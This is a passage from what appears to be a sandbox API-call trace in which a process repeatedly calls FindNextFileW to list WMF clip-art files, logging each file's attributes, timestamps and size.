lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0245.710] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0245.711] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, 